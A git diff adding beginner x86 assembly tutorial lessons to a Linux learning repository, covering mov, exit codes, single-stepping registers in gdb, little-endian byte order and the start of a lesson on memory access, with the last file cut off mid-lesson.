--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
@@ -0,0 +1,173 @@
+# 🎯 x86 Assembly — The First Real Program: mov and the Exit Code
+
+> The three lines we wrote in 05 were, for now, a **closed box** — we didn't fully know what they did. Now we open the first of those boxes.
+> In this lesson you learn the worker's most basic order: `mov`, that is, **"put this number in that box."**
+> And for the first time, you make **a number of your own choosing** appear on the screen. A small moment —
+> but for the first time you take command, and the machine listens to you.
+
+> **We're writing real instructions now, and this time we know what we're doing.** We'll pull `mov`
+> out of the skeleton from 05 and shine a light on it; we still leave the full insides of `int 0x80` to [17_sistem_cagrilari](./17_sistem_cagrilari.md).
+> In the end `echo $?` will tell you the number you put in — **"8!"** — and in that moment you'll say "I made this machine do something."
+
+---
+
+## 📋 Table of Contents
+
+- [mov: The Worker's First Order](#mov-the-workers-first-order)
+- [What Is an Exit Code?](#what-is-an-exit-code)
+- [Write and Run the Program](#write-and-run-the-program)
+- [Change the Number: You Took Command](#change-the-number-you-took-command)
+- [Can I See Inside a Box Directly?](#can-i-see-inside-a-box-directly)
+
+---
+
+## mov: The Worker's First Order
+
+In [01_bilgisayar_nedir](./01_bilgisayar_nedir.md), when we looked at the kinds of orders the worker takes, we put "**move**" first: *"put this number in that box."* Well, the real name of that order is **`mov`** (from English *move*).
+
+Its syntax is very simple:
+
+```nasm
+mov destination, source ; "put the source into the destination box"
+```
+
+The form you'll use most often is putting a number into a register (a pocket box):
+
+```nasm
+mov eax, 5 ; "put 5 in the eax box"
+mov ebx, 100 ; "put 100 in the ebx box"
+```
+
+Recall, `eax`/`ebx` were the worker's pocket boxes ([04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md)). `mov` is exactly the way to put a value into those boxes — and it's the worker's most-used order.
+
+> 💡 Its name is "move," but what it really does is **"copy / put."** The source is not emptied. For example you can copy from one box to another: `mov ebx, eax` = "put what's in eax into ebx" — eax still keeps its old value. (I tried this: after putting 13 in `eax` and doing `mov ebx, eax`, ebx also became 13, and eax wasn't lost.) We'll see the other, memory-related forms of `mov` in [08_mov_ve_bellek](./08_mov_ve_bellek.md); for now "put a number in a box" is enough.
+
+> 🔑 `mov destination, source` = "put the source into the destination box." This is the only instruction you need to know in this lesson.
+
+---
+
+## What Is an Exit Code?
+
+When a program finishes, it leaves behind a small number: the **exit code**. This is the program's way of saying "I'm done, and here's my one-number summary." There's a convention: **0 = no problem / success**, a nonzero number = "such-and-such a situation/error happened."
+
+Who reads this number? The shell. And when you type `echo $?` (we met it in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md); *if you use fish, `echo $status`*), what it shows you is exactly this: the exit code of the last program that finished.
+
+So where does the program put this number? In the exit operation we use, the exit code is taken **from the `ebx` box**. That is:
+
+```nasm
+mov ebx, 8 ; exit code will now be 8
+```
+
+Well, recall the skeleton from 05: there we wrote `mov ebx, 0`, which is why `echo $?` always said 0. Now we'll replace that 0 with a number **of our own choosing**.
+
+> 🔑 Exit code = the single number a program leaves behind when it finishes (convention: 0 = no problem). On exit, this number is read from the `ebx` box; so `mov ebx, ` determines it. You see it with `echo $?` (fish: `echo $status`).
+
+---
+
+## Write and Run the Program
+
+With an editor, create a file named **`cikis.asm`** and write this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8 ; exit code: 8 ← the number we chose
+ mov eax, 1 ; job to do: "exit" (sys_exit request)
+ int 0x80 ; call the kernel: do the above
+```
+
+You can already read most of these lines:
+
+- `mov ebx, 8` → "put 8 in the ebx box." This will be our exit code.
+- `mov eax, 1` → "put 1 in the eax box." The 1 here is the number that tells the kernel "the job to do is **exit**." (We'll fully explain where these numbers come from in [17_sistem_cagrilari](./17_sistem_cagrilari.md).)
+- `int 0x80` → "call the kernel, do what I prepared above." (Its insides are also in 17.)
+
+These two `mov`s are independent of each other — it doesn't matter which one you write first (in 05 the order was reversed, `mov eax, 1` came first; the result was still the same). What matters is that both are ready before we reach `int 0x80`.
+
+Now assemble, link, and run with the **same chain** as in 05:
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+./cikis
+echo $?
+```
+
+What you'll see:
+
+```
+8
+```
+
+There it is! This **8** on the screen isn't a random 0 like in 05 — it's **the number you put in with `mov ebx, 8`.** For the first time you told the machine a number, and it gave it right back to you.
+
+> 💡 *If you're in the fish shell*, the last line will be `echo $status` (see 05). The result is the same: `8`.
+
+> 💡 **You may be wondering:** *"What if I never write those last lines (`mov eax, 1` + `int 0x80`)? After the worker does `mov ebx, 42`, will it stop on its own?"* No — and the reason matters: **there is no place where the worker stops by itself.** The end of the list doesn't mean "stop." If you don't write the exit, the worker keeps on fetch-do-advance; it reads the **memory garbage** after your last line as if it were an instruction — like a brakeless car, it plunges off the cliff where your code ends. Before long it touches memory it isn't allowed to, and **that's the moment the operating system steps in:** it stops you and kills **only your program.** The terminal says `Segmentation fault`, and `echo $?` gives **139** (meaning "killed by a signal"). I really tried it: `mov ebx, 42` with no exit → `Segmentation fault`. **But the computer is perfectly fine** — the kernel, like a bouncer at the door, throws the misbehaving process out and lets it touch nothing in the system. (Proof against the "will I break something" fear from 02: you can't lock up the machine with an ordinary program.) The lesson's point: **telling the worker "stop" is your job** — that's exactly why the last of those three lines exists.
+
+---
+
+## Change the Number: You Took Command
+
+Now enjoy it. Open `cikis.asm`, replace the `8` with another number — make it `42`, for example:
+
+```nasm
+ mov ebx, 42 ; exit code: 42
+```
+
+Assemble, link, run again (three commands), then `echo $?`:
+
+```
+42
+```
+
+You see whatever you put in. I really tried it: `8 → 8`, `42 → 42`. **You now determine the output** — this is the essence of programming. It looks like a small number, but a big door just opened here: the machine does what you say.
+
+> 💡 **You may be wondering:** *"I put 300 in `ebx` and tried it, but `echo $?` said 44 — why not 300? And what happens if I put in a negative number?"* Because the exit code is **a single byte** ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)): it only holds 0–255, and it **wraps around in both directions** — just like a car's odometer. It overflows upward: `300` doesn't fit, so it rolls over from the top → `300 − 256 = 44`. Below, a negative wraps from the bottom: I tried `mov ebx, -5`, and `echo $?` said **251** (`-1 → 255`, `-2 → 254`, … `-5 → 251`). The name of this trick for storing a negative inside a byte is *two's complement*; we'll fully explain how it works later, in the arithmetic topic ([09_aritmetik](./09_aritmetik.md)). For now: **the exit code is a byte from 0–255, and it wraps around in both directions.**
+
+---
+
+## Can I See Inside a Box Directly?
+
+You may have thought: "I put 8 in `ebx` and saw it with `echo $?`. So if I put something in `eax`, can I see that too?"
+
+Right now you **can't** — and the reason matters: `echo $?` only shows the **exit code**, and that comes only from `ebx`. So your only "window" for now is `ebx` (by way of the exit code). Even if you put 8 in `eax`, `echo $?` won't show it; it always looks at `ebx`.
+
+So what if you want to see inside any box (`eax`, `ecx`, `edx`… ) **at any moment** you like? For that you need a tool: **`gdb`** (recall we installed it in 05). The next lesson ([07_gdb_tek_adim](./07_gdb_tek_adim.md)) is exactly for this: gdb opens all the windows — you watch the value of each box one by one while the program runs. Your "write an instruction → see what changed" moments start there.
+
+> 🔑 Right now the only way to see inside a box is to put it in the exit code (`ebx`) and type `echo $?`. We'll unlock seeing all the boxes whenever you want, with `gdb`, in 07.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ mov dest, source = "put the source into the dest box." The worker's most basic order.
+ - mov eax, 5 → put 5 in eax (number into a box)
+ - mov ebx, eax → copy what's in eax into ebx (source not emptied; "move" is really "copy")
+☐ Exit code = the single number a program leaves when it finishes (convention: 0 = no problem).
+ - On exit it's read from ebx → mov ebx, determines it.
+ - You see it with echo $? (fish: echo $status).
+☐ First meaningful program: mov ebx, + mov eax, 1 + int 0x80.
+ Chain: nasm -f elf32 → ld -m elf_i386 → ./cikis → echo $? → your number!
+☐ Exit code is a SINGLE BYTE (03): 0..255. Wraps in both directions: overflows at the top (256→0, 300→44), a negative wraps from the bottom (-5→251).
+☐ The worker does NOT stop by itself: if you don't write the exit (int 0x80) it runs into memory garbage → Segmentation fault (139). But the kernel kills only the process, the system is fine.
+☐ echo $? shows only ebx (the exit code). To see the other boxes → gdb (07).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Where the "move" order and the "put the result in the exit code" idea were first previewed
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Seeing inside all the boxes (registers) live
+- [09_aritmetik.md](./09_aritmetik.md) — With `add`/`sub`, not just putting anymore, but computing
+
+---
+
+**Previous topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+**Next topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
new file mode 100644
index 0000000..447bdf7
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -0,0 +1,279 @@
+# 🔬 x86 Assembly — Single-Stepping with GDB: Watching Inside the Boxes Live
+
+> At the end of 06 we made a promise: `echo $?` only showed you a **single window** (`ebx`, through the exit code).
+> To see inside all the boxes (`eax`, `ecx`, `edx`…) **whenever you want**, you needed a tool.
+> That tool is **`gdb`** — and in this lesson we open it for the first time.
+
+> gdb lets you **pause the worker at any instruction you choose** and look inside each box one by one. You run an instruction, it stops, you check "what changed?" — then one more instruction.
+> The course's most powerful learning moment begins here: **write an instruction → see what changed.** The machine is no longer a box to you; you can watch inside it.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is gdb Good For?](#what-is-gdb-good-for)
+- [Feeding the Program into gdb and Stopping It](#feeding-the-program-into-gdb-and-stopping-it)
+- [First Look: The Boxes Are Still Empty](#first-look-the-boxes-are-still-empty)
+- [First Step: `si` and "There, It Changed!"](#first-step-si-and-there-it-changed)
+- [eip: Where Is the Worker Right Now?](#eip-where-is-the-worker-right-now)
+- [Round 2: Watching the Copy Live](#round-2-watching-the-copy-live)
+- [Quitting and the Rest of gdb](#quitting-and-the-rest-of-gdb)
+
+---
+
+## What Is gdb Good For?
+
+So far you've written your program, run it, and seen a single result with `echo $?`. But you couldn't see what happened in between — which instruction changed which box and how. The program was a box: input went in, output came out, and the rest was dark.
+
+**`gdb` (*GNU Debugger*)** is what lights up that darkness. It does two things, and in this lesson you need both:
+
+1. **It pauses.** You can freeze the program at any instruction you choose — the worker is standing there, order in hand, and you've said "stop."
+2. **It shows the inside.** The moment it stops, you can read the current value of each box (register).
+
+Combine these two and here's what you get: run an instruction → stop → look at the boxes → one more instruction → look again. You see with your own eyes what the instructions do *one by one*. This is called **single-stepping** (*single-step*).
+
+> 🔑 gdb = the tool for **pausing** the worker and looking inside each box. Single-stepping: run an instruction, stop, look at what changed, repeat.
+
+We already installed gdb back in 05 ([05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md)). You also have a program left over from 06: `cikis.asm`. We start with it.
+
+---
+
+## Feeding the Program into gdb and Stopping It
+
+First, make sure the program from 06 is still neat and tidy. `cikis.asm` was this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and link (the same chain as in 06):
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+```
+
+Now, instead of saying `./cikis`, we open the program **inside gdb**:
+
+```
+gdb ./cikis
+```
+
+You'll be greeted by a prompt that reads `(gdb)` — from now on you'll type commands here. Our first two commands are setup:
+
+```
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+- **`set disassembly-flavor intel`** → this tells gdb to "show the instructions **in the order we wrote them**." (*disassembly* = turning machine code back into readable asm instructions; *flavor* = which writing style it shows them in.) By default gdb uses a different, reversed order — throughout this course we always prefer intel, that is, the order you wrote.
+- **`starti`** → "start the program, but stop immediately at the **first instruction**." The worker has raised its hand *before doing anything at all*, waiting for you.
+
+On the screen you'll see this (I actually ran it):
+
+```
+Program stopped.
+0x08049000 in _start ()
+```
+
+There it is — the worker stopped. `0x08049000` is the **address of the instruction** the worker is currently stopped at (which instruction is up next); we'll get to it shortly. What matters: the program started but **not a single instruction has run yet.** The ideal moment to look.
+
+> 💡 **You might wonder:** *"Why `starti`? Couldn't I just say `run`?"* `run` runs the program **all the way to the end** — and since our program exits right away, it would finish before you could watch anything. `starti` ("start-instruction"), on the other hand, **stops at the first instruction**; that's exactly what we want in order to watch.
+
+---
+
+## First Look: The Boxes Are Still Empty
+
+While the worker is stopped at the first instruction, let's look at the boxes. The command: **`info registers`** (short form `i r`). If you like, give only the boxes you care about:
+
+```
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x0 0
+```
+
+Each line is a box: name on the left, value in hexadecimal in the middle (`0x0`), decimal on the right (`0`). So **right now both eax and ebx are 0.** Makes sense — `mov ebx, 8` hasn't run yet; the worker is still waiting *in front of* that instruction.
+
+> 💡 The value is written twice because it's two representations of the same number: `0x0` (hexadecimal) and `0` (decimal) — back in 03 ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)) we saw that they're the same number. gdb shows both so you can read whichever you want.
+
+---
+
+## First Step: `si` and "There, It Changed!"
+
+Now make the worker run **a single instruction**. The command: **`si`** (*step-instruction* — "advance one instruction"):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x8 8
+```
+
+**There's the moment.** `ebx` was `0` just now, and now it's `8`. You said `si`, the worker ran `mov ebx, 8`, and **you saw the box change with your own eyes.** In 06 we *knew* that `mov ebx, 8` puts 8 into ebx; now we **watched it.** That's the difference: between knowing and seeing.
+
+`eax` is still `0` — because the instruction that changes it (`mov eax, 1`) hasn't run yet; it's up next.
+
+Fire one more `si` so that `mov eax, 1` runs:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x1 1
+ebx 0x8 8
+```
+
+Now `eax` became `1` too, and `ebx` is still `8`. Each instruction touched **only its own box** and left the other alone. You're now watching the worker's "fetch-do-advance" loop frame by frame.
+
+> 🔑 `si` = run one instruction, stop. In between, look with `info registers eax ebx` → you see which box changed. The course's promise of "write an instruction → see what changed" is exactly this.
+
+---
+
+## eip: Where Is the Worker Right Now?
+
+We've seen the values of the boxes. But how do we see **where in the list** the worker is — that is, "which instruction is next"?
+
+There's a box that holds this too: **`eip`** (*instruction pointer* — "instruction indicator"). Inside it sits the **address** of the next instruction. Remember how in 01 the worker's loop was "fetch-do-**advance**" — well, `eip` is the box for that "where." After each instruction the worker advances eip to the next instruction.
+
+To see the next instruction: **`x/i $eip`** ("show the instruction at the address eip points to, as an instruction"):
+
+> 💡 **What's the `$` at the front?** In gdb, when you use a register **inside an expression, because you need its value**, you put a `$` in front of its name: `$eip` = "the address *inside* eip". In the `info registers eax` above there was no `$` — because there we weren't factoring the register into a computation, we were just **listing it by name**. In short: if you're using its value, `$eip`; if you're only naming it, `eax`.
+
+```
+(gdb) x/i $eip
+```
+
+At the very start of the program (right after starti) the output was this:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x8
+```
+
+`=>` means "the worker is here right now" — and that address, `0x8049000`, is the **same address** as the `0x08049000` you saw in the `starti` output above; the extra leading zero is just zero-padding and doesn't change the value. And the instruction you see: `mov ebx,0x8` — **exactly your `mov ebx, 8`.** (`0x8` is 8 in hexadecimal; thanks to `disassembly-flavor intel` the order too is as you wrote it: destination `ebx` first, then source.) When you fire a `si`, the `=>` shifts to the next instruction (`mov eax,0x1`), and one more shifts it to `int 0x80`. **The worker is advancing through the list, and you're watching over its shoulder step by step.**
+
+> 💡 **You might wonder:** *"Why do the addresses jump by 5 each time, `0x8049000`, `0x8049005`?"* Because each instruction takes up **a few bytes** in memory; an instruction like `mov ebx, 8` is 5 bytes. When the worker finishes an instruction, it advances eip **by the length of that instruction** — that is, to the start of the next instruction. How instructions are encoded as bytes is a separate and deep topic; for now the only thing you need to know is: **eip = the address of the next instruction, advancing at every step.**
+
+> 🔑 `eip` = the box holding the address of the next instruction (the worker's "where"). With `x/i $eip` you read the next instruction; the `=>` pointer shows the worker's position.
+
+---
+
+## Round 2: Watching the Copy Live
+
+In 06 there was a claim: `mov ebx, eax` "copies" — it puts the value in `eax` into `ebx` but **`eax` doesn't empty out.** Back then I promised, I said "I tried this." Now **you too will see it with your own eyes in gdb.**
+
+Make a new file named `kopya.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, eax ; COPY the 7 in eax to ebx
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, open in gdb, watch the boxes:
+
+```
+nasm -f elf32 kopya.asm -o kopya.o
+ld -m elf_i386 kopya.o -o kopya
+gdb ./kopya
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First, run `mov eax, 7`:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x0 0
+```
+
+`eax` is now `7`, `ebx` is still `0`. Now the main event — `mov ebx, eax` (the copy):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x7 7
+```
+
+**There's the proof.** `ebx` became `7` (the copy arrived) — **but `eax` is still `7`.** The source didn't empty out. The sentence from 06, "move is really copy," you now don't just *know* — you **see it.** (If you like, finish the program: the final `si`s run `mov eax, 1` and `int 0x80`; `echo $?` — in fish: `echo $status` — says **7**, because on exit the 7 in `ebx` is read.)
+
+---
+
+## Quitting and the Rest of gdb
+
+To quit gdb:
+
+```
+(gdb) quit
+```
+
+(If the program is still mid-run it may ask "kill it?"; say `y`, it only closes that session.)
+
+In this lesson you learned **a single job** gdb does: watching registers by single-stepping. But gdb does far more than this — looking at memory, stopping at a specific place (breakpoint), changing values… These are for now a **closed box**; as you need them, we'll open them right then. Right now the `si` + `info registers` pair you have in hand is your **primary tool** for whenever you don't understand what an instruction does.
+
+> 🔑 Didn't understand what an instruction does? Your rule: open it in gdb, `starti`, then **watch with your own eyes** using `si` + `info registers`. Whenever you get stuck again in this course wondering "what did this do?", your answer is here.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ gdb = the tool for PAUSING the worker and looking inside each box (installed in 05).
+☐ Open the program in gdb: gdb ./cikis
+ (gdb) set disassembly-flavor intel → show instructions in our order
+ (gdb) starti → stop at the first instruction (NOT run: run would race to the end)
+☐ Look at the boxes: info registers eax ebx (short: i r eax ebx)
+ - name on left, 0x.. (hex) in middle, decimal on right — same number.
+☐ Single step: si → run one instruction, stop. Then look again → see WHAT CHANGED.
+ - after mov ebx, 8, ebx: 0 → 8. after mov eax, 1, eax: 0 → 1.
+☐ eip = the box holding the address of the next instruction (the worker's "where").
+ - x/i $eip → show the next instruction. the => pointer shows the worker's position.
+☐ Copy proof (kopya.asm): after mov ebx, eax, ebx=7 BUT eax still 7 → the source doesn't empty out.
+☐ Rule: if an instruction isn't understood → watch with starti + si + info registers in gdb.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Where the `cikis.asm` we watched and the `mov` came from
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What the boxes (registers) we looked inside actually are
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The worker's "fetch-do-advance" loop; eip is the box for that "advance"
+
+---
+
+**Previous topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+**Next topic:** 08_mov_ve_bellek.md 🚧 *(being written)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
new file mode 100644
index 0000000..6890839
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
@@ -0,0 +1,98 @@
+# 🔄 x86 Assembly — Little-Endian: When You Look at Memory Byte by Byte
+
+> In 08 we looked at memory with `x/1dw` and saw a tidy `42`, `99`. But back in 04 we left a debt: we said a big number is spread across memory as **several bytes** — so in what *order* are those bytes laid out, one by one?
+> Here's the short surprise that makes everyone pause the first time they see it. A little side lesson; but if you don't know this, later on when you look at raw memory you'll be confused.
+
+---
+
+## First, the Familiar 42
+
+Recall the `sayi: dd 42` from 08. When we looked at it in gdb as "a single dword" (`x/1dw`), we saw `42`. Now let's look at the same spot **byte by byte**. The command: `x/4xb` = "show 4 bytes, in hexadecimal" (`x` examine, `4` four of them, `x` hex, `b` byte):
+
+```
+(gdb) x/1dw &sayi # as a single dword
+0x804a000: 42
+
+(gdb) x/4xb &sayi # byte by byte
+0x804a000: 0x2a 0x00 0x00 0x00
+```
+
+`42` is `0x2a` in hexadecimal (from 03). The four bytes of memory: `2a 00 00 00`. At first glance quite normal — "42 at the very front, the rest empty (zero)." Seems fine. But this example is a bit **blind** — because three bytes are zero, the oddness of the order doesn't show. To actually see the order, we need a number whose four bytes are all **filled**.
+
+---
+
+## Now a Clear Example: `0x12345678`
+
+Let's put a number in memory whose every byte is **different** (hex from 03): `b: dd 0x12345678`. The four bytes of this number are obvious: `12`, `34`, `56`, `78`. Let's look in gdb:
+
+```
+(gdb) x/1xw &b # single dword (hex)
+0x804a004: 0x12345678
+
+(gdb) x/4xb &b # byte by byte
+0x804a004: 0x78 0x56 0x34 0x12
+```
+
+**Here's the surprise.** Above we wrote `dd 0x12345678`; when gdb is asked for "a single dword" (`x/1xw`) it neatly shows `0x12345678`. But looking at memory **byte by byte**, the order is:
+
+```
+ What you wrote: 12 34 56 78
+ In memory: 78 56 34 12 ← exactly REVERSED!
+```
+
+The number is laid out **backwards** in memory. Not a typo — this is the machine's rule. Its name: **little-endian.**
+
+> 🔑 A multi-byte number is written to memory **byte by byte, backwards**: `0x12345678` → in memory `78 56 34 12`. `x/1dw` reassembles it correctly for you and shows it; but looking byte by byte (`x/4xb`) you see it reversed.
+
+---
+
+## Why "Little" (Little End First)?
+
+The rule isn't really "backwards" — it has a consistent logic: **the least significant byte goes to the smallest address (the very front).**
+
+Break `0x12345678` into parts:
+- `0x78` → the number's **least significant** end (the rightmost, like the "ones place").
+- `0x12` → its **most significant** end (the leftmost).
+
+Little-endian puts the number's **little end first** — that's why `0x78` is at the very front and `0x12` is at the very end. The name comes from this: *little-endian* = "little end first." (There's also the opposite — *big-endian* machines that put the big end first — but your x86 machine is little-endian; in this course you'll always see that.)
+
+> 💡 **You might be wondering:** *"Why such a weird rule? Wouldn't it be fine to just write it straight?"* Both (little/big) have historical and technical reasons, and which one is "right" is an old debate — so much so that even the name comes from a joke: in *Gulliver's Travels*, the "Little-Endians" and "Big-Endians" who go to war over whether to crack an egg from its pointy end or its blunt end. That is, even engineers laughed so hard at the "which end first" quarrel that they named it after that. The practical upshot for you is just one thing: **x86 = little-endian, little end first.**
+
+---
+
+## Why Is Knowing This Important?
+
+Because it has two faces:
+- If you tell gdb (or some other tool) "show this as a **number**" (`x/1dw`, `x/1xw`), it reassembles those bytes in the right order for you — **you notice nothing.**
+- But if you look at memory as **raw bytes** (`x/4xb`), or you **write out a number byte by byte yourself**, the order flips — and if you don't know this, you'll be baffled for hours over "why did I get `78563412` when I expected `12345678`?"
+
+So little-endian is a small but frequently useful fact to keep in your pocket: "the machine writes numbers to memory from the little end." Every time you look at raw memory (and later, when you split an address into bytes by hand), this rule will show up.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A multi-byte number is laid out in memory LITTLE-ENDIAN: least significant byte at the very front (smallest address).
+ - 0x12345678 → in memory: 78 56 34 12 (exactly reversed)
+ - 42 (0x2a) → in memory: 2a 00 00 00 (2a in front; the zeros hide the reversal)
+☐ x/1dw (looking at it as a single number) → gdb REASSEMBLES in the right order, you don't see the reversal.
+ x/4xb (looking byte by byte) → you see the raw form: REVERSED.
+☐ Name: little end first = little-endian. x86 = ALWAYS little-endian. (big-endian also exists; not here.)
+☐ Practical: when looking at raw memory / splitting a number into bytes by hand, the order is reversed — don't forget it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where we learned to look at memory (`x`) and to put numbers in with `dd`
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the "a big number = several consecutive boxes" debt was incurred; here's the layout order
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The concepts of byte, hex, and "least/most significant digit"
+
+---
+
+**Previous topic:** [08_mov_ve_bellek.md](./08_mov_ve_bellek.md)
+**Next topic:** 09_aritmetik.md 🚧 *(in progress)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
new file mode 100644
index 0000000..9f45fe1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -0,0 +1,264 @@
+# 🗂️ x86 Assembly — mov and Memory: Reaching Into Boxes with `[...]`
+
+> In 04 we sketched the worker's **warehouse–pocket dance**: FETCH (from memory to pocket), PROCESS (in the pocket), DROP (from pocket to memory). But back then we said "we'll see the real instructions in Unit 1."
+> This is that moment: in this lesson we do **FETCH** and **DROP** with a real instruction — again `mov`.
+
+> And in 04 we planted a seed: *one box can hold the address of another box* (a pointer). We said "we're leaving actually following it to 08."
+> Today we keep that promise too: for the first time you'll **follow a pointer** and grab the value at the place it points to. The only new thing is a small mark: **`[...]`**.
+
+---
+
+## 📋 Table of Contents
+
+- [`[...]`: The Box at an Address](#-the-box-at-an-address)
+- [Putting a Box in Memory: `section .data`](#putting-a-box-in-memory-section-data)
+- [FETCH: From Memory to a Register](#fetch-from-memory-to-a-register)
+- [DROP: From a Register to Memory](#drop-from-a-register-to-memory)
+- [Your First Pointer Follow](#your-first-pointer-follow)
+
+---
+
+## `[...]`: The Box at an Address
+
+So far you've seen two forms of `mov` (06): `mov eax, 5` (a number into a box) and `mov ebx, eax` (box to box). In both, the source and destination were **registers** — boxes in the worker's pocket. But most of the work sits in the **warehouse** (in memory); how do we reach out there?
+
+The answer is a single mark: **square brackets, `[...]`.** The rule is this simple:
+
+- A number/name without brackets → **the value itself.** `mov eax, 5` = "put 5 into eax."
+- Inside brackets → **"the contents of the box at that address."** `mov eax, [5]` = "**go to box number 5**, put the value there into eax."
+
+This is the real-instruction form of the address/value distinction from 04. The brackets are the way to tell the worker "this is an address — go there, take what's there." Think of the brackets as a "→ go there" arrow: `[number]` = "go to the *place number points to*."
+
+A warning: the `[5]` here only shows the **idea** — 5 isn't a real address that belongs to you. Don't try to run this on its own in a program; the kernel will say "that's not yours" and stop the program. In a moment we'll actually do the same job with `[number]` over an *allowed* address.
+
+> 🔑 `[...]` = "this is an address, go there and use the value there." Without brackets = the value itself; with brackets = the contents of the box at that address. This is the instruction-level counterpart of the address/value distinction from 04.
+
+---
+
+## Putting a Box in Memory: `section .data`
+
+To be able to read from memory, we first need to have **something** in memory. So far our programs used only `section .text` (the code section). To put our data, there's a second section: **`section .data`.**
+
+```nasm
+section .data
+ sayi: dd 42
+```
+
+Line by line:
+- `section .data` → "from here on it's **data**, not code."
+- `sayi:` → the **label** (name) we tack onto the box we put in memory. Actually `sayi` is the **address** of that box — we give it a readable name so you don't have to memorize the numeric address.
+- `dd 42` → **d**efine **d**word: "make room for 4 bytes (as big as a register; see 04), put 42 inside." (`db` = 1 byte, `dw` = 2 bytes, `dd` = 4 bytes.)
+
+So `sayi: dd 42` means **a 4-byte box named "sayi" with 42 written inside** in memory. Now when you write `[sayi]` in the code, the worker will understand "go to sayi's address, take the value there."
+
+> 💡 **You might be wondering:** *"You said `sayi` is an address, but I wrote `42` — which is it?"* They're two separate things, just like in 04: `sayi` is the box's **place** (address), `42` is the box's **contents** (value). If you write `sayi` in the code you mean the address, if you write `[sayi]` you mean the 42 inside. In a moment we'll see both in gdb — the address is a big number, the value is 42.
+
+---
+
+## FETCH: From Memory to a Register
+
+The **FETCH** step of 04: pull a box from the warehouse into the pocket. The real instruction:
+
+```nasm
+mov eax, [sayi] ; "go to sayi's address, put the value there into eax"
+```
+
+Let's try it with a full program. `bellek.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov eax, [sayi] ; FETCH: read from memory → eax = 42
+ mov dword [sayi], 99 ; DROP: write to memory → sayi is now 99
+ mov eax, [sayi] ; read again (proof) → eax = 99
+ mov ebx, eax ; the result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and open in gdb (the habit from 07):
+
+```
+nasm -f elf32 bellek.asm -o bellek.o
+ld -m elf_i386 bellek.o -o bellek
+gdb ./bellek
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+This time we won't just look at a register, but at **memory itself**. The command to look at a memory box is **`x`** (*examine*): `x/1dw &sayi` = "show 1 dword at sayi's address in decimal." (`&sayi` = "sayi's address"; `d` = show in decimal; `w` = **a 4-byte dword**.)
+
+> 💡 **Don't mix it up:** the `w` here is the **same letter but a different dictionary** than the `dw` in `section .data`. In NASM, `dw` = 2 bytes; in gdb's `x/…w`, `w` = **4 bytes** (dword). Same letter, two tools, two sizes — here it shows 4 bytes.
+
+```
+(gdb) info registers eax
+(gdb) x/1dw &sayi
+```
+
+The real output — before any instruction has run yet:
+
+```
